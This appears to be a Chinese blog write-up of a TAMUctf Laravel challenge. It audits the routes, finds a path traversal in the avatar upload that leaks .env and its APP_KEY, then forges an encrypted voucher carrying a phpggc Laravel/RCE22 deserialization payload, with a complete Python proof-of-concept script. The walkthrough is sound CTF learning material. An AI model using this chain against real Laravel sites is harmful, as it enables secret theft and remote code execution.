Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
990 字
5 分钟
Laravel局部渗透的多重链追溯
2026-03-24
统计加载中...

Laravel局部渗透的多重链追溯#

对于Laravel框架,接触还是有限,这里来审计一下,

首先是目录结构,

img

这里严肃关注app下面和route,如果不关乎配置错误,那么这是最优解,

因为在此框架的路由默认在routes/web.php中,所以先打点

Route::middleware(['auth'])->group(function() {
Route::get('/', [DashboardController::class, 'index'])->name('dashboard');
Route::get('/account', [AccountController::class, 'index'])->name('account');
Route::get('/mining', [MiningController::class, 'index'])->name('mining');
Route::get('/vouchers', [VouchersController::class, 'index'])->name('vouchers');
Route::get('/transactions', [TransactionsController::class, 'index'])->name('transactions');
Route::get('/avatar', [AccountController::class, 'getAvatar']);
Route::post('/account', [AccountController::class, 'update']);
Route::post('/account/avatar', [AccountController::class, 'updateAvatar']);
Route::post('/mining/collect', [MiningController::class, 'collect']);
Route::post('/transactions', [TransactionsController::class, 'send']);
Route::post('/vouchers', [VouchersController::class, 'create']);
Route::post('/vouchers/redeem', [VouchersController::class, 'redeem']);
});
Route::get('/login', [AuthController::class, 'index'])->name('login');
Route::get('/register', [AuthController::class, 'index'])->name('register');
Route::get('/logout', [AuthController::class, 'index'])->name('logout');
Route::post('/login', [AuthController::class, 'auth']);
Route::post('/register', [AuthController::class, 'register']);
Route::delete('/logout', [AuthController::class, 'logout']);

可以看到需要鉴权的接口还是很多的,并且这里我们先去看对于鉴权后的接口操作,

因为并未进行严格admin分别鉴权,所以直接注册并无差异

看到update

public function updateAvatar(Request $request)
{
$request->validate([
'avatar' => 'required|image|max:2048'
]);
/** @var \App\Models\User $user */
$user = Auth::user();
if ($user->avatar) {
$previousPath = Storage::disk('public')->path($user->avatar);
if (file_exists($previousPath))
unlink($previousPath);
}
$name = $_FILES['avatar']['full_path'];
$path = "/var/www/storage/app/public/avatars/$name";
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
$user->avatar = $path;
$user->save();
return redirect()->back();
}

在这里写文件的路子经过了过滤,在storeAs函数中,basename直接会过滤路径穿越,

但是可以看看path,这是完全没有过滤就将路径数据写入了user->avatar

看看哪里需要用这个到这个属性

public function getAvatar(Request $request)
{
$path = Auth::user()->avatar;
if (!$path)
return response()->json(['error' => 'No avatar set.']);
return response()->file($path);
}
}

在这里每次请求都返回之前一样的path,那样我们就可以通过路径穿越读文件

那样还没完,因为

mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt

flag变成了hax字符串的文件名

那样就没法直接进行读取了

下一步找到了反序列的链

public function create(Request $request)
{
$data = $request->validate([
'amount' => 'required|integer|min:1'
]);
/** @var \App\Models\User $user */
$user = Auth::user();
$amount = (int) $data['amount'];
if ($user->balance < $amount) {
return back()->withErrors([
'amount' => 'Amount is greater than funds available.'
]);
}
$user->balance -= $amount;
$user->save();
$voucher = encrypt([
'amount' => $amount,
'created_by' => $user->uuid,
'created_at' => Carbon::now()
]);
return back()->with('voucher', $voucher);
}

在这里接收的对象,一旦有了api_key就可以随意伪造,

而api_key可以在上部分路径穿越读取

并且,执行命令的不安全类是现成的

cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'"
serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd)
voucher = laravel_encrypt_raw(serialized, key)

直接将flag文件写入可读的位置即可

POC:

import argparse
import base64
import hashlib
import hmac
import json
import os
import random
import re
import string
import subprocess
import sys
import urllib3
import requests
from Crypto.Cipher import AES
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def extract_csrf(html: str) -> str:
m = re.search(r'name="_token"\s+value="([^"]+)"', html)
if m:
return m.group(1)
m = re.search(r'meta name="csrf-token" content="([^"]+)"', html)
if m:
return m.group(1)
raise RuntimeError("CSRF token not found")
def tiny_png() -> bytes:
return (
b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
b"\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc``\x00\x00"
b"\x00\x02\x00\x01\xe2!\xbc3\x00\x00\x00\x00IEND\xaeB`\x82"
)
def laravel_encrypt_raw(serialized: str, key_bytes: bytes) -> str:
iv = os.urandom(16)
pt = serialized.encode()
pad = 16 - (len(pt) % 16)
pt += bytes([pad]) * pad
ct = AES.new(key_bytes, AES.MODE_CBC, iv).encrypt(pt)
iv_b64 = base64.b64encode(iv).decode()
val_b64 = base64.b64encode(ct).decode()
mac = hmac.new(key_bytes, (iv_b64 + val_b64).encode(), hashlib.sha256).hexdigest()
payload = json.dumps(
{"iv": iv_b64, "value": val_b64, "mac": mac, "tag": ""},
separators=(",", ":"),
)
return base64.b64encode(payload.encode()).decode()
def run_phpggc(phpggc: str, chain: str, cmd: str) -> str:
attempts = [
["php", phpggc, chain, "system", cmd],
["php", phpggc, chain, cmd],
["php", phpggc, "-f", chain, "system", cmd],
["php", phpggc, "-f", chain, cmd],
]
for a in attempts:
p = subprocess.run(a, capture_output=True, text=True)
if p.returncode == 0 and p.stdout.strip():
return p.stdout.strip()
raise RuntimeError(f"phpggc failed for {chain}")
def main():
parser = argparse.ArgumentParser(description="TAMUctf vault exploit")
parser.add_argument(
"--url",
default="https://c52cafe9-55d4-4ef9-b255-345fcd8bab20.tamuctf.com",
help="target base url",
)
parser.add_argument(
"--phpggc",
default="phpggc/phpggc",
help="path to phpggc entry script",
)
args = parser.parse_args()
base = args.url.rstrip("/")
s = requests.Session()
s.verify = False
username = "u" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
password = "Pass123456!"
# Register
r = s.get(base + "/register", timeout=15)
csrf = extract_csrf(r.text)
s.post(
base + "/register",
data={"_token": csrf, "username": username, "password": password, "password2": password},
timeout=15,
)
# Login
r = s.get(base + "/login", timeout=15)
csrf = extract_csrf(r.text)
s.post(
base + "/login",
data={"_token": csrf, "username": username, "password": password},
timeout=15,
)
# LFI: upload valid PNG but crafted full_path -> ../../../../.env
r = s.get(base + "/account", timeout=15)
csrf = extract_csrf(r.text)
s.post(
base + "/account/avatar",
data={"_token": csrf},
files={"avatar": ("../../../../.env", tiny_png(), "image/png")},
timeout=15,
)
env_text = s.get(base + "/avatar", timeout=15).text
m = re.search(r"^APP_KEY=(.+)$", env_text, flags=re.M)
if not m:
print("[-] APP_KEY not found from /avatar")
sys.exit(1)
app_key = m.group(1).strip()
key = base64.b64decode(app_key.split(":", 1)[1])
print(f"[+] APP_KEY: {app_key}")
# Build gadget payload, then encrypt as Laravel token for decrypt()
cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'"
serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd)
voucher = laravel_encrypt_raw(serialized, key)
# Trigger gadget via vouchers/redeem
r = s.get(base + "/vouchers", timeout=15)
csrf = extract_csrf(r.text)
rr = s.post(
base + "/vouchers/redeem",
data={"_token": csrf, "voucher": voucher},
timeout=15,
)
print(f"[+] redeem status: {rr.status_code}")
# Read dropped file
fr = s.get(base + "/pwn.txt", timeout=15)
print(f"[+] /pwn.txt status: {fr.status_code}")
print(fr.text.strip())
flag = re.search(r"gigem\{[^}]+\}", fr.text, flags=re.I)
if flag:
print(f"[FLAG] {flag.group(0)}")
else:
print("[-] flag regex not found")
if __name__ == "__main__":
main()
Laravel局部渗透的多重链追溯
https://steins-gate.cn/posts/初识laravel/
作者
萦梦sora~X
发布于
2026-03-24
许可协议
Unlicensed

部分信息可能已经过时

封面
示例歌曲
示例艺术家
封面
示例歌曲
示例艺术家
0:00 / 0:00